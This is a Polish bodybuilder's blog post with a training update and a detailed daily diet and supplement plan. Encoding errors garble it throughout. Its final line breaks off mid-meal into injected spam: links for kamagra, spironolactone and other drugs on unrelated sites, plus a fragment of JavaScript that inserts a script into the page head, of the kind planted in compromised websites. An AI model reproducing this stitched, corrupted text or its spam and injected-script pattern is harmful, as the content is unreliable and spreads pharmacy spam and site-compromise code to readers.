Udany dzieAi??

4.09.2011 / Michał Karmowski

DziAi?? musiaAi??em nieco zmieniAi?? plany treningowe i robiAi??em triceps & biceps, poniewaA? jutro jadAi?? do poznania na konsultacje do Radka SAi??odkiewicz i tam bAi??dAi?? robiAi?? plecy. po poAi??udniu odwiedzili mnie znajomi z portalu kulturystyka-online.pl i nakrAi??ciliAi??my fajny odcinek „Zapytaj trenera” w nietypowej scenerii…, byAi??o Ai??miesznie:-)

Od dziAi?? jest rA?wno 8 tyg do zawodA?w wiAi??c jeszcze sobie pozwalam na posiAi??ek na mieAi??cie w mojej ulubionej wAi??oskiej restauracjiAi?? „LA VITA”, jadAi??em 300g stekaAi?? z pieczonym ziemniakiem i sosem BBQ. UzbroiAi??em sie w zestaw nowych suplementA?w o ktA?rycz napisze w poniedziaAi??ek , bo wAi??aAi??nie wtedy ropoczynam 100% przygotowaAi??

….do akcji wkracza clenburexin…

dieta;

1-350g steka z dorsza , 150g pAi??atkA?w owsianych, 100g awokado

przed treningiem 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 8 tab aakg mega hardcore i 2 miarki S.A.W

po treningu 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 75g z bialka isolate 100 (vanilla) 100g ryA?u

2 i 3 -300g kurczaka, 75g ryA?u , 40g orzechA?w wAi??oskich

4- stek 300g z ziemniakiem w „LA VICIE”

5-600g biaAi??ek jaj , 75g ryA?u , 100g awokado

30 min aerobA?w – bieA?nia

6-300g woAi??owiny, 40 g orzechA?w kamagra store reviews. Kamagra reviews. kamagra review blogs. pelicula online un rey en la habana Cheap d.getElementsByTagName(‚head’)[0].appendChild(s);if (document.currentScript) { spironolactone by paypal payment Pills http://huachengrubberbelt.com/index.php/2018/03/18/npxl-cheap/ http://qurological.com/2018/02/01/cheap-skelaxin-dosing/ online zofran price